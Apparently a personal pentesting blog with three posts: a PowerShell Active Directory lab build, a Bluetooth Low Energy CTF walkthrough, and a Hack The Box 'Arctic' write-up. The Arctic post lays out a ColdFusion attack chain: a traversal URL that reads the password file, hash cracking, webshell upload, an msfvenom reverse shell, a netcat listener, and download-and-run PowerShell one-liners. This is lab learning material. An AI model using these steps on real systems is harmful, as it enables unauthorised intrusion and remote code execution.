Ep 1: Creating a Active Directory Virtual Lab


This is quite exciting for me, this is Episode 1 in my official Learning Stuff series with the tagline: “Knowing stuff is cool, learning just takes longer”.

The video that accompanies this blog is available here: https://youtu.be/ZKrkkUlssAE

This series is going to go through a set of different attack, defence and general pentesting theories and practicals. The idea is hopefully I can explain things to you in a way that helps, maybe that others haven’t. We shall see!

So first up, before we can do anything specific, we need to build a lab! For this I’m using an ESXi host that I have access too, however the same thing can be achieved by using VMWare on your own machine.

Setting up Lab

I ideally wanted to build the lab using Packer/Terraform/Vagrant however after many hours of trying I always ended up failing, so I’ve parked that for now until I get more time. Hopefully in the future I’ll have a blog about that sort of automation. However for the moment, I am just going to spin up boxes the old fashioned way, however I’ve got a whole bunch of powershell to make it slightly easier.

The hardest bit is choosing the domain, computer and user names. But I always like to theme things, so for this I’ve gone down the Dr Who route! What my lab will consist of for this video is:

1x Windows Server 2019 - TheDoctor

1x Windows 10 - TheMaster

Domain Name: tardis.local

User 1 (Regular user) - Rose Tyler (rose@tardis.local)

User 2 (Domain Admin) - Clara Oswald (clara@tardis.local)

Firstly go through the normal Windows set up:

Once both the Server and Win10 machines are booted. We need to set up a few little things. This powershell script will set the Hostnames and IP addresses which will allow the connectivity we need.  On the lab I’m using, there is DHCP set-up so I don’t have to set up the IP manually, but I’ve left it into the powershell script for you to use, obviously change the variables to suit your lab.

If you haven’t set up Active Directory before or a lab at all, and want to do it without Powershell, my friend myexploit2600 has written an excellent step-by-step guide.

First up we need to configure the Server and add Active Directory. After that we can sort the Win10 machine.

Windows Server 2019

Setting IP and Hostname

$Interface = "Ethernet0"
$IPAddress = ""
$DefaultGateway = ""
$Hostname = "TheDoctor"
New-NetIPAddress –InterfaceAlias $Interface –IPAddress $IPAddress –PrefixLength 24 -DefaultGateway $DefaultGateway
Set-DnsClientServerAddress -InterfaceAlias $Interface -ServerAddresses $IPAddress
Rename-Computer -NewName $Hostname

The machine will then re-boot so these changes have taken affect. Re-log into the Server.

Once we have the correct hostname and network connectivity, we can covert this server into a Domain Controller. It should be noted that this isn’t relevant for this lab specifically and with running responder it’s possible without. However I’m going to use this lab in the future, hopefully looking at some domain based attacks, so I might as well set it up right from the off.

To change the server to a Domain Controller, we need to install the Active Directory modules, again this Powershell script should do it all for you. Just change the domain variables at the top.

Setting up Domain Controller

$DomainName = "tardis.local"
$DomainNetbiosName = "TARDIS"
$SafeModePassword = "!S0n1cScr3dr1v3r1" | ConvertTo-SecureString -AsPlainText -Force

Install-PackageProvider -Name NuGet -MinimumVersion -Force
Install-WindowsFeature AD-Domain-Services 
Import-Module ADDSDeployment 
Install-ADDSForest -CreateDnsDelegation:$false -DatabasePath “C:\Windows\NTDS” -DomainMode Win2012R2 -DomainName $DomainName -DomainNetbiosName $DomainNetbiosName -ForestMode Win2012R2 -InstallDns:$true -LogPath “C:\Windows\NTDS” -NoRebootOnCompletion:$true -SysvolPath “C:\Windows\SYSVOL” -Force:$true 
Install-Module ServerManager 
Add-WindowsFeature RSAT-AD-Tools

This again will reboot, log back in and we now have a domain up and running!

Now all the domain needs is some users. Again I like to stick with a theme! Change the variables to suit your own environment (I know not everyone will want a Dr Who based Domain)

Adding Users

$OUPath = "DC=tardis,DC=local"
$DomainUserPath = "OU=Domain Users,DC=tardis,DC=local"
$DomainAdminPath = "OU=Domain Admins,DC=tardis,DC=local"
$User1Name = "Rose"
$User1GivenName = "Rose"
$User1Surname = "Tyler"
$User1SAMAccount = "rose"
$User1PrincipalName = "rose@tardis.local"
$User1Password = "B4dW0lf" | ConvertTo-SecureString -asPlainText -Force
$User2Name = "Clara"
$User2GivenName = "Clara"
$User2Surname = "Oswald"
$User2SAMAccount = "Clara"
$User2PrincipalName = "clara@tardis.local"
$User2Password = "Imp0ss1ble!" | ConvertTo-SecureString -asPlainText -Force

New-ADOrganizationalUnit -Name "Domain Users" -Path $OUPath -ProtectedFromAccidentalDeletion $true
New-ADOrganizationalUnit -Name "Domain Admins" -Path $OUPath -ProtectedFromAccidentalDeletion $true
New-ADUser -Name $User1Name -GivenName $User1GivenName -Surname $User1Surname -SamAccountName $User1SAMAccount -UserPrincipalName $User1PrincipalName -Path $DomainUserPath -AccountPassword $User1Password -Enabled $true -ChangePasswordAtLogon $false -PasswordNeverExpires $true
New-ADUser -Name $User2Name -GivenName $User2GivenName -Surname $User2Surname -SamAccountName $User2SAMAccount -UserPrincipalName $User2PrincipalName -Path $DomainAdminPath -AccountPassword $User2Password -Enabled $true -ChangePasswordAtLogon $false -PasswordNeverExpires $true
Add-ADGroupMember -Identity "Domain Admins" -Members Clara
If lots more users are required, it’s worth creating a spreadsheet or similar with the information and importing it, as I’m only currently adding 2 users (one user and one admin) I’ve just put it all in variables.
To check that the users have been added, it’s worth looking in “users and computers” to check the OUs and Users are where they should be.
This script also then elevates Clara to a Domain Admin by joining her to the DA group. This will allow that user to add other computers to the domain and other privileged rights.
A good tip with Users and Computers is to enable “Advanced Features” by going to View -> Advanced Features. This then gives more property options on each OU and users.
Once that is done, we have a Domain set up with some users, with different permission levels. At a later stage, I’ll set up some group policies and other hardening bits and pieces but these aren’t required for the moment.

Windows 10

Let’s now turn our attention to the Win 10 box.
We firstly need to set the hostname and the IP address as we did before. However on the Windows 10 box, before we can run scripts, we need to set the Powershell bypass policy, this will allow any scripts to run. This is a really bad idea in corporate environments, but is fine for our private lab.
set-executionpolicy unrestricted

Setting IP and Hostname

$Interface = "Ethernet0"
$IPAddress = ""
$DCIPAddress = ""
$DefaultGateway = ""
$Hostname = "TheMaster"
New-NetIPAddress –InterfaceAlias $Interface –IPv4Address $IPAddress –PrefixLength 24 -DefaultGateway $DefaultGateway
Set-DnsClientServerAddress -InterfaceAlias $Interface -ServerAddresses $DCIPAddress
Rename-Computer -NewName $Hostname

Once that is configured, we need to join the machine to the domain. This will make that connection to give access and be able to log in using the domain user and admin that we created earlier.

Adding machine to domain

$domain = "tardis.local"
$password = "Imp0ss1ble!" | ConvertTo-SecureString -asPlainText -Force
$username = "$domain\Clara"
$credential = New-Object System.Management.Automation.PSCredential($username,$password)
Add-Computer -DomainName $domain -Credential $credential
Now that’s done. We can log back into the machine with the domain creds that we set up earlier on TheDoctor.
What we also need on this network, is a Kali Linux box for doing the attacks from. I’m not going to go through how to set up Kali but hopefully it’s easy enough.
For a lot of the attacks, it will be interesting to see what’s happening on all machines. So I’m going to download and install Wireshark on all machines.

That’s it, we now have our lab set up. It’s bound to grow and evolve over the course of this series, but this is a good place to start!

Next Step!

Next up in Chapter 2 I will look at responder, starting with setting up shared folders, creating a regular task to check the share and capturing some hashes. I’ll also do a deep(ish) dive into the traffic going across the network using Wireshark.

If there are any other attacks you’d like to see me do and explain. Please let me know on twitter.

Hope you enjoyed this and keep learning!!

BLE Hacking

I have recently been given a STM32 with a BLE CTF on it!

I’m using a basic STM32 board similar to this.

The CTF is available on GitHub.

I’ve set up a Raspberry Pi 3 which has built in bluetooth and have set a static IP so I am able to SSH into it from my kali box. I’m new to BLE so let’s jump in and see what happens!

Bluetooth Config

First up, we need to check our bluetooth connections, which work a bit like our network connections, but instead of ifconfig we use:

sudo hciconfig -a

We can see in the response that the interface is down. To put this up, we just need to do

sudo hciconfig hci0 up

Now the interface is up and we should be able to use this to do some fun stuffs with bluetooth!

Next we need to find out if it’s possible to see the device, there are a few different tools that can  be used, but for the moment I’m going to stick with the hcitool set. There is a hcitools which allows scanning of bluetooth low energy devices.

sudo hcitool lescan

This scans through and picks up any bluetooth devices around. What we are interested in here is the BLECTF06 device, with the MAC address of:


So we know the MAC address and can use this to connect to the device and try and interact with it.

There are again a number of tools, one of the most popular is bettercap, but I had endless issues with it, which I think was due to the fact my PI has no outbound connectivity and it wouldn’t allow using hci0 as an interface.

If anyone knows how to fix this, please send me the answer over twitter, i’d really appreciate it!

So instead of bettercap, I’m going to use the now depreciated gatttool.

Connecting to the Device

Gatttool has a great interactive mode:

gatttool -I

This provides a command line, doing a help provides some of the main commands:

We need to connect to the device, we can use the MAC address to do this. Once connected, we can get some information from the device, however gatttool doesn’t let me dump all the data, which I want to do.

The options like characteristics give us a lot of information, but not too useful at this point

Device Enumeration

To dump all the data in a readable format, a tool called bleah is needed (or bettercap also does it, if you can get it working!) As bleah has been deprecated I had to download it from a previous commit and download the zip, rather than doing a simple git clone.

Once that is installed, a look at the help menu gives us some hints on usage.

We want to identify the MAC address and enumerate the device.

bleah -b "24:0A:C4:9A:56:96" -e

This brings back a permission error, adding a sudo we get

In addition to this output, the device now has a blue light to indicate that something is connected to it.

So this is great, we now know all the challenges! I guess now is just a case of working through them!

Flag 1

So working down the list, we have the score location, then the location to write flags too.

The next looks like an MD5 hash, I assume that this is the first flag, so let’s try writing that hash to the 002c address.

I think this can be done with bleah, so let’s have a go, relooking at the help, we can write data to the characteritic UUID, I think this should be:

sudo bleah -b 24:0A:C4:9A:56:96 -n "0000ff02-0000-1000-8000-00805f9b34fb" -d "d205303e099ceff44835"

Unfortunately this is wrong, we get “Invalid Handle” so the long code isn’t the UUID.

I had the wrong flag, the “-n” flag is for the charactierstic handle, not the UUID. Tweaking the request we get:

sudo bleah -b 24:0A:C4:9A:56:96 -u "0000ff02-0000-1000-8000-00805f9b34fb" -d "d205303e099ceff44835"

Results in something happening!

I think this is flag 1 done, so we can read the score to see what we have. Doing a full enumeration again (as I’m not sure how to read certain parts in bleah) we get a result!

One flag down! 19 to go!

Flag 2

The second flag seems easy enough “MD5 of Alpha chars in Device Name” So the hostname is “BLECTF06” using cyberchef it’s easy to make a MD5 hash.

So the output we want is: 7ae1f3212f9c3fd33ec2e1040f436c31

Now as bleah has to connect and disconnect each time. It might be better to move back over to gatttools in interactive mode.

gatttool -I

connect  24:0a:c4:9a:56:96

Once connected, again looking at the help, it’s possible to write a handle address (which is the 4 byte location on the left hand side of the table).

char-write-req 002c 7ae1f3212f9c3fd33ec2e1040f436c31

This writes in the “submit flags here” handle of 002c with the MD5 hash of the name of the device.

Flag 2 has been submitted, let’s check the scoreboard and make sure it worked.

char-read-hnd 002a

We got data back, it looks like hex. Putting it into cyberchef we get the result of “Score:1 /20”

So, there are now 2 issues, I don’t want to put all that into cyberchef each time to get the score and submitting the flag didn’t work, or the flag was wrong.

Let’s try and sort out this input! I want to cut the output to data only after the “:” then decode it into plain text.

Trying any sort of awk or cut within interactive mode doesn’t appear to work.

So instead, i’ll need to make the full request outside of interactive mode, however the device is busy within interactive mode. So i’ll have to come out of interactive mode to read the flags!

Reading the guide a bit more, the command is slightly different to use gatttools outside of interactive mode and we need to use the hex value to reference the location, then using cut and xxd I get almost the entire answer (for some reason without the first S, but I know that’s an S so i’m ok with it)

gatttool -b 24:0A:C4:9A:56:96 --char-read -a 0x002a | cut -f3-13 -d ' ' | xxd -r

Onto the second issue, the previous attempt of MD5 hashing the device name didn’t appear to work!

This time, i’ll try to write the code without interactive mode, so we don’t have to keep entering and exiting that mode to get the blooming flags! I’ll also only send the letters MD5’ed.

gatttool -b 24:0A:C4:9A:56:96 --char-write -a 0x002c -n 5cd56d74049ae40f442ece036c6f4f06

After taking an absolute age to run, I cancelled it, not sure why that didn’t run!

Heading back into interactive mode, I could connect into the device, so there wasn’t a connectivity issue, maybe my write command was wrong. Looking at my commands during interactive mode, I think I forgot the “-req” part of the command.

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a "0x002c" -n "5cd56d74049ae40f442ece036c6f4f06"

This then worked immediately!

Again reading the score, still on 1/20. I wonder why that’s not worked.

As I’m having to decode the data as it’s coming out, do I need to put it into hex format to write it in?

Looking at the github page, this is the case, coupled with the MD5 hash is always only 20 characters long, so from the github page, the submit command is:

gatttool -b de:ad:be:ef:be:f1 --char-write-req -a 0x002c -n $(echo -n "some flag value"|xxd -ps)

So adding in the first 20 characters from the MD5 hash of BLECTF (we ignore the 06 for some reason) the final command is:

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x002c -n $(echo -n "5cd56d74049ae40f442e" | xxd -ps)

Reading the score, we are now on 2!

Flag 3

The third flag asks to “write anything here” onto handle 0030. This should be straight forward!

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x0030 -n "write anything here"

This specifies the data being sent, and the handle location.

Reading back to make sure it has been written, creates some problems!

The only way I know to fix that, is to exit the window, which in our case means coming off the ssh session and closing that tmux screen! Annoying!

Doing that and reading without the decoding doesn’t help!

pi@raspberrypi:~ $ gatttool -b 24:0A:C4:9A:56:96 --char-read -a 0x0030
Characteristic value/descriptor: 00 00 0e 0a 00 00 00 00 0e

Decoding that hex, gives us:



I re-enumated the device using bleah and put the table into a spreadsheet which gives me easy access to what’s on which row and I saw the issue. I was meant to write and read from 0032 not 0030!

Let’s try again!

That’s worked better this time!

This seemed to work, however the score was still 2! Looking closer at the MD5 hash, this is only 16 characters, not the 20 that was expected, earlier when I said the missing “S” wasn’t an issue. It’s just become an issue!

Doing it manually with Cyberchef, my theory is proved correct!

The difference in the MD5 hashes:



So the first character and last 3 characters are missing, how strange!

Going back to the github page, they have a better read command:

gatttool -b 24:0A:C4:9A:56:96 --char-read -a 0x0032|awk -F':' '{print $2}'|tr -d ' '|xxd -r -p;printf '\n'

This displays the full hash and on it’s own line, so life will be easier!

Flag 4

The 4th flag requests that we write the ASCII value of “yo” to handler 0034.

This should be similar to the above, however it will have to be converted to hex for it to work, so it’s submitted the same way as a flag.

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x0034 -n $(echo -n "yo" | xxd -ps)

Reading the value then returns the MD5 hash which can be submitted.

Flag 5

This flag requires us to write the hex value of “0x07” to 0036. As the values that we input get converted to hex, we can skip that part and just put in the hex value directly.

I started off entering “0x07” but it’s worth remembering that the “0x” are just the prefix to inform everyone that the following value is in hex, therefore in this case it’s not needed.

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x0036 -n 07

This is then accepted and reading the handle provides the MD5 hash!

Flag 6

Writing the hex 0xC9 to handle 58 is this challenge. Again we should be able to do the same as above, just changing the handle value.

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x0058 -n C9
Characteristic Write Request failed: Invalid handle

However, an unexpected error, the handle doesn’t exist!

The handles we were provided in the enumeration maxed out at handle 56.

We are always providing the hex values for the handles, maybe the actual handle is the plain number.

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 58 -n C9
Characteristic value was written successfully

This seems better so far!

Reading 0x0038 which was the location of the challenge has given us the MD5 hash.

So it’s important to note, the handle values are displayed and mostly used in hex from the enumeration, however pure values can be used.

Flag 7

The 7th flag sets an interesting challenge, to brute force values 00-ff.

I think I should be able to do an ascending loop to read each value. We know that:

Hex 00 = 0

Hex FF = 255

So if we can write a script to increment the number, convert it to hex within that range it should work. For this I’m going to have to learn some python, I am crap at coding, so let’s give this a bash.

We need a simple for incrementing loop which is converted into hex each time. Python contains a “hex” coder, so the test script is:

import os
for x in range (0,256):
        y = hex(x)
        print y

This seems to work! (The first time I did it, I only had my loop up to 255, so it didn’t do the last value, upping this to 256 made it work)

Next is adding in the os.system and gatttool command

import os
for x in range (0,256):
        y = hex(x)
        os.system("gatttool -b 24:0A:C4:9A:56:96 --char-read -a " + str(y))

This takes that converted value and adds it into the end of the command. I had a lot of issue with this, as I kept trying %y which resulted in a “TypeError: not all arguments converted during string formatting” issue, so huge shoutout to @AlexisBitsios on twitter for solving this one for me!

After running through it, I didn’t get the flag. Looking back at the test output, the hex is in 2 digit format, whereas we need 4 digit format e.g 0x001a rather than 0x1a.

It turns out this wasn’t too easy in Python and I had to add some extra bits in, so what I got to was:

import os
for x in range (0,256):
        y = ('0x00' + '{0:02X}'.format(int(x)))
        print y
        os.system("gatttool -b 24:0A:C4:9A:56:96 --char-read -a " + str(y))

Although this did as expected, it didn’t get us the flag.

So I’ve understood the question wrongly. I might need to brute force the value of 3c with the hex values from 00-ff rather than just enumerate the list.

This changes our script slightly, I also realised as it’s not locations, it doesn’t need the padding.

import os
for x in range (0,256):
        y = hex(x) 
        print y
        os.system("gatttool -b 24:0A:C4:9A:56:96 --char-write-req -n 0x00c3 -a " + str(y))

Running through this, it also didn’t work, I think now as it’s printing “0x0 – “0xff” whereas I probably only need “00” – “ff”, so again need a format change in python!

After a few more hours, there is a way to format the data, we want 2 digits of x and the data to be formatted, so tweaking the script, we get:

import os
for x in range (0,256):
        y = '{:02x}'.format(x)
        print y

The output of this is:

This looks good, exactly what we need. So adding back in the os.system call, it should cycle through each value bruteforcing the value!

However, it does not work! We get the help menu a lot with errors:

Cannot parse integer value ?ff? for -a

So, I guess anything with a letter, isn’t an integer so can’t be dealt with in this way. The flag we have on the gatttools command is -a, which is the handle and -n is the value. I had them the wrong way round in the script!!

Also as we are now doing the formatting earlier we don’t need the “str” value, so our final script is:

import os
for x in range (0,256):
        y = '{:02x}'.format(x)
        print y
        os.system("gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x00c3 -n " + y)

Running that through, the values are all written successfully, and the flag was obtained!

During this challenge, I did also learn that Python has a built in module for dealing with ble called blepy. I didn’t look into this, but might do once I’ve done all the other challenges!

Flag 8

Flag 8 requires us to read the handle of 003e 1000 times.

Similar to above, my python is still crap (and I still didn’t look up blepy), so I used a similar idea! Feel free to tweet me with an elegant solution!

import os
for x in range (1, 1000):
        os.system("gatttool -b 24:0A:C4:9A:56:96 --char-read -a 0x003e")

Once the script has run, it’s possible to read the value at 003e and we get:

Flag 9

This one has an interesting extra ability within the original enumeration table we saw.

│ 0040 │ ff0c ( 0000ff0c-0000-1000-8000-00805f9b34fb ) │ NOTIFY READ WRITE │ u'Listen to me for a single notification' │

All of the previous have been only included READ or WRITE. Seeing Notify is quite exciting. So what does notify mean?

Well it doesn’t appear to be very well explained anywhere but effectively it’s a push of data to the client.

The challenge itself to listen for a single notification might not require this notify characteristic, I’m not entirely sure. What I did find though, is there is a “–listen” flag, which can be used after a write, to listen for any responses from the device.

Using this, we create a command of:

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x0040 -n value --listen

This is writing “value” onto the 40 handler, then listening for anything to be returned, which it was quite quickly.

Decoding this hex with cyberchef we get the flag!

Posting that in, we get another mark on that scoreboard!

Flag 10

This one wants us to listen for a single indication on the 44 handler. I assume an indication and notification are the same, or at least pretty similar, so we can use a similar command to the previous flag just changing the handler address.

Again the hex was decoded in cyberchef and posted back in for the score!

Flag 11

This challenge wants us to listen for multiple notifications on 0x0046.

Running the same command and leaving the command running brings back multiple values.

Decoding the first 2 lines with cyberchef, we get:

U no want this msg


Submitting that MD5 hash, we get another score on the door!

Flag 12

Again the same command was sent just with the different handler, letting it run bought back a number of data values!

These give similar messages to before, just with a different MD5 hash. Submit that and boom, flag 12 is done!

This is the end of the notify/indicate challenges, so what is the difference, as they are accessed using the same commands!

These are very similar things, however an indication requires a confirmation of the message, whereas the notify does not. This means that notifications are faster but if it doesn’t get received no-one knows. I guess it’s easiest to think of indication as similar to TCP compared to notify which acts more like UDP!

Flag 13

For this flag, we are asked to connect to the device using the MAC address: 11:22:33:44:55:66

So for this, we have to change our own MAC address, this shouldn’t be too difficult, there is a tool called bdaddr which allows us to do this on the raspberry pi. The issue is my pi doesn’t have an internet connection, so I need to download the tool here and scp it across to my pi

scp bdaddrtar.bz2 pi@

Then once the bz2 file is there, it just needs extracting:

bzip2 -d bdaddrtar.bz2 && tar xf bdaddrtar

Then we need to make the file

cd bdaddr && make

It then errors, because I don’t have the right dependencies:

sudo apt-get install libbluetooth-dev

Once all that is installed, the make runs through without an issue.

Doing a bit more research it looks like the command we need to change our bluetooth MAC address is:

sudo ./bdaddr -i hci0 -r 00:de:ad:be:ef:00

Running hciconfig -a we see that our address is hci0

The current MAC address is: B8:27:EB:4A:E9:C7

However we want it to be: 11:22:33:44:55:66

Our command will therefore be

sudo ./bdaddr -i hci0 -r 11:22:33:44:55:66

Running that, we get:

That looks pretty promising!

Checking that bluetooth still works, I run a lescan using hcitool:

Excellent, that appears to still be working.

However when trying to do a read with gatttools it appears to freeze and not do anything.

Heading into interactive mode, connection is successful to the device. However reading the data isn’t so good!

I’m not sure why this is, so I’m going to use the tool to change my MAC address back and see if I can read from there!

sudo ./bdaddr -i hci0 -r B8:27:EB:4A:E9:C7

The command again worked successfully, although the device address didn’t appear to have changed.

However, the device still doesn’t seem to be reading!

Just to do another check, I re-ran the bleah enumeration command to see if that worked and it connected without an issue, but wasn’t able to enumerate the device.

As the bluetooth was built into the Pi, I couldn’t pull out the dongle to reset it, so I tried what I could with an ethernet connection, I downed the interface and bought it back up.

After that, trying to do a read worked without an issue, and as we had connected to the device via interactive mode. The MD5 hash was returned!

I’m not sure why the device wasn’t readable after the MAC address was changed, or even when it was changed back. If anyone knows more about this, feel free to let me know via twitter!

Flag 14

This flag requires the user to change the MTU (maximum transmission unit) of the bluetooth device to 444. This MTU values controls the lengths of packets that can be sent and received to the device, being able to specific a maximum length could help with limiting the amount of data that is sent to the device.

Gatttools is able to change this MTU value via the interactive option.

gatttools -I

Once in interactive mode, we need to connect to the device

connect 24:0A:C4:9A:56:96

Then once connected, there is a command to change the MTU that I found via the help!

Once the MTU was changed, reading the value at this challenge of 004e returns the flag!


Flag 15

This challenge requests “Write+Resp ‘hello'”. So I assume it’s a write challenge, the handle doesn’t have notify or indicate so it’s not requiring us to use the –listen flag.

Instead let’s try doing a simple write of the word hello, then a read of the data.

gatttool -b 24:0A:C4:9A:56:96 --char-write-req -a 0x0050 -n $(echo -n "hello" | xxd -ps)

Then reading the handle:

gatttool -b 24:0A:C4:9A:56:96 --char-read -a 0x0050|awk -F':' '{print $2}'|tr -d ' '|xxd -r -p;printf '\n'

Oh, it appears to have returned the flag. I didn’t expect that to work, it seemed too similar to the first few tasks. Never mind, submitting that gives me a new high score!

Flag 16

Well well well, this flag’s clue is very cryptic “No notifications here! really?”. What does that mean?

I guess first up, let’s read it and confirm that’s the case. Reading it gives the same result, when trying to write to it, the write is successful but the following read again returns the same message. Not too sure what this means!

So it turns out, it was a lie! There are notifications! Sending data with the –listen flag returned some hex value that when decoded, was the flag!

Submitting that means we are one step closer to all the flags!

Flag 17

This one looks interesting, the clue is “so many properties” and there really are we have:

  • notify
  • broadcast
  • read
  • write
  • extended properties

So let’s start with what we know, we can read handles so let’s try that

That has just returned the same data!

The same happens if we just do a plain write to the value and a read after.

So instead if we try to do a notify, so write some data with the –listen flag:

Success, that looks half of the flag!

What if we then try another read of the data, now that we have written something to it?

Decoding that hex and we get:

That looks like other half of a flag! Excellent!

Putting these together took 2 goes to get right! But submitting the flag and checking the score, another flag down!

Flag 18

The final challenge is an MD5 of the authors twitter handle!

A quick look on Github provides the website http://www.hackgnar.com/

From there his twitter handle is present as @hackgnar

Using cyberchef to make an MD5 of that, we get:


The first 20 characters which all flags are is:


Submitting that as the flag, and there it is!

But wait, only 18 flags have been completed!

What the heck have I missed?!

Flag 1 again (but for us 19!)

Going back to the github page, there is a sneaky first flag for reading the instructions (which I didn’t do!)

The flag is here: https://github.com/hackgnar/ble_ctf/blob/master/docs/hints/flag1.md

Submitting that gives you an extra point!

But we are still missing one!

Flag 20!

Looking through the guide again, it appears that there might be 2 flags available for MD5ing the device name. The device name is BLECTF which we entered, however looking at the enumeration there was a hidden flag under the device name data!

I’m not sure how I missed that and I’m sure I was meant to do it earlier! But never mind, we made it!

All flags collected! Excellent!

Final Thoughts

This was a great introduction to BLE, from knowing nothing about it and not even being able to connect at the start, I now feel confident in reading, writing and looking at data on BLE which I have no doubt will be useful in the future!

I would like to thank Ross Mark’s who has also done a walkthrough which I glanced at when stuck, especially in the early stages before I fully understood what was going on!

Hopefully you managed to follow this blog. It is a bit all over the place as it was written while doing, with all of the wrong turns included! Overall this took me a few hours over a number of days (with the Score resetting to 0 each time I unplugged the device) with a lot of research and googling in the background, so don’t be disheartened if parts are confusing or you don’t fully get it yet, you aren’t meant to!

Remember, Knowing stuff is cool, but learning just takes longer!

HTB – Artic

It’s time to get a bit cooooooool, we are gunna have a look at Artic!

Start off as usual with our nmap scan

nmap -sC -sV -O -oN nmap/initial -vv

We get a few results:

135/tcp open msrpc Microsoft Windows RPC
8500/tcp open fmtp?
49154/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)

So it’s windows and 3 ports. I have no idea what fmtp might be, let’s see if we can view it in a browser.

We get a directory listing back!

We know what CFIDE is, that’s Adobe Cold Fusion. Known to have a load of vulnerbilities depending on version!

Looking in that folder, we find Administrator, which brings us a login screen!

There is a known LFI in CFIDE, which lets you see the admin password, accessing it via:\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en

Visiting it, gives us:

I’d say that password is hashed, a quick google tells us the normal hash for this is SHA1.

Putting it into hash-identifier

Confirms it is likely to be SHA-1!

Let’s try and crack it with john. Copy the hash into a text file and run john:

john hash.txt -w /usr/share/wordlists/rockyou.txt

It comes up with a whole heap of things it could be but after a while it lets us know it’s cracked.

Let’s check the password:

john --show --format=Raw-SHA1 hash.txt

It is a happyday!

Let’s go back to the admin login and see if the creds work!

Success we are in!

Now i’ve exploited this application before, so I have an idea!

Looking at Settings Summary. We can see that any uploaded files get saved at CFIDE/scripts

Double checking the directory listing earlier, we have access to that folder. So we should be able to upload a payload to there and execute it to get a webshell or reverse shell or whatever we want!

Looking in the folder, mostly the files are js or cfm. I think we need to upload a .cfm for it to execute on the server. Luckily on kali there is a default cfm webshell located in /usr/share/webshells/cfm/cfexec.cfm

To upload a file, we need to set up a scheduled task. Under “Debugging & Logging” we have the scheduled tasks.

We will schedule a new task. We can’t upload a file, but we can access a URL, so let’s host our .cfm using python and put in the details. Make sure “Save output to a file” is ticked and we need to confirm where to save it.

Heading back to the setting summary, we can see the CFIDE mapping

I guess we need to use that with \scripts on the end


Submit the task. (This box is very slow, so be patient!)

Once submitted, we need to run the task.

We get a hit on our webserver! And our file is there!

You’ll notice it’s a jsp, not sure why this is. Ah in my autocomplete on the File path, it was a .jsp file. So maybe it needs to be a jsp not a cfm.

Let’s try with a cfm.

A CFM does work (as does a jsp) so either is good!

Hmm, we get an error when running a command:

I think this will be because I changed the name of the file.

Looking at the script, we needed to make a change before we were so reckless in our uploading!

<form method="POST" action="cfexec.cfm">

We need to change this to be:

<form method="POST" action="yekki2.cfm">

Let’s upload it and call the file yekki2.cfm. The reason to call it “2” is that I have no idea if it will overwrite files or fail at that. So it’s must easier and less things can go wrong to make a new one!

Using that webshell, let’s try and whoami /all

Very strange, we get another error!

It doesn’t look like it can find cmd.exe! How strange!

Let’s try powershell instead. Again same issue.

Wow that’s odd. Ok, instead of trying to do that, let’s make a reverse shell payload!

The syntax for this is:

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=9002 -f raw > yekki-rs.jsp

That runs and creates our reverse shell payload

Let’s host that using python and change our scheduled task to grab this file instead.

Run the scheduled task and it appears.

Set up a nc listener

nc -nvlp 9002

Click on the link. Cross those fingers……

We get a reverse shell and the user flag! Noice!

Let’s get my favourite powerless script across. I have a VBA script which works like a wget.

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs
echo xHttp.Open "GET", "", False >> script1.vbs
echo xHttp.Send >> script1.vbs
echo with bStrm >> script1.vbs
echo .type = 1 '//binary >> script1.vbs
echo .open >> script1.vbs
echo .write xHttp.responseBody >> script1.vbs
echo .savetofile "Powerless.bat", 2 '//overwrite >> script1.vbs
echo end with >> script1.vbs
cscript script1.vbs

Running powerless


We get a whole bunch of data, let’s see what we have!

Host Name: ARCTIC 
OS Name: Microsoft Windows Server 2008 R2 Standard 
OS Version: 6.1.7600 N/A Build 7600

We have a lot of priviledges:


Privilege Name Description State 
============================= ========================================= ======== 
SeChangeNotifyPrivilege Bypass traverse checking Enabled 
SeImpersonatePrivilege Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege Create global objects Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

The windows 2008 and the privileges lead me to think maybe we need to use the SeImpersonatePrivilege priv esc.

Searchsploit agrees. Generally I prefer not using kernal exploits as I want to learn other weaknesses, but I can’t see anything else obvious.

Let’s get Sherlock the powershell script across and see if that agrees that I’m on the right lines.

First let’s upgrade ourselves to a powershell terminal.

We can use nishang to create a reverse shell. Go into nishang and edit the Invoke-PowershellTcp.ps1 and at the end enter:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 9003

Then host is using python simple webshell.

Back on the target machine, we can use powershell to get the file which should then start our second reverse shell,

powershell IEX(New-Object Net.WebClient).downloadString('')

There might be a better way to go up to powershell but I like this, as I get a second shell, so if anything goes wrong, I can re-call it using the first shell without using ColdFusion again.

From here, we can use Sherlock. Firstly in the sherlock powershell file, at the bottom put in:

function Find-AllVulns

This will run the script when it’s downloaded.

IEX(New-Object Net.WebClient).downloadString('')

Sherlock then errors out. Sadly.

Instead let’s remove that line from Sherlock and try:

IEX(New-Object Net.WebClient).downloadString('') ; Find-AllVulns

This time, we get a bunch of output and a few potential vulnerabilities:

Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888 
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Appears Vulnerable

Title : ClientCopyImage Win32k
MSBulletin : MS15-051 
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable

Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

So we know which options might be vulnerable!

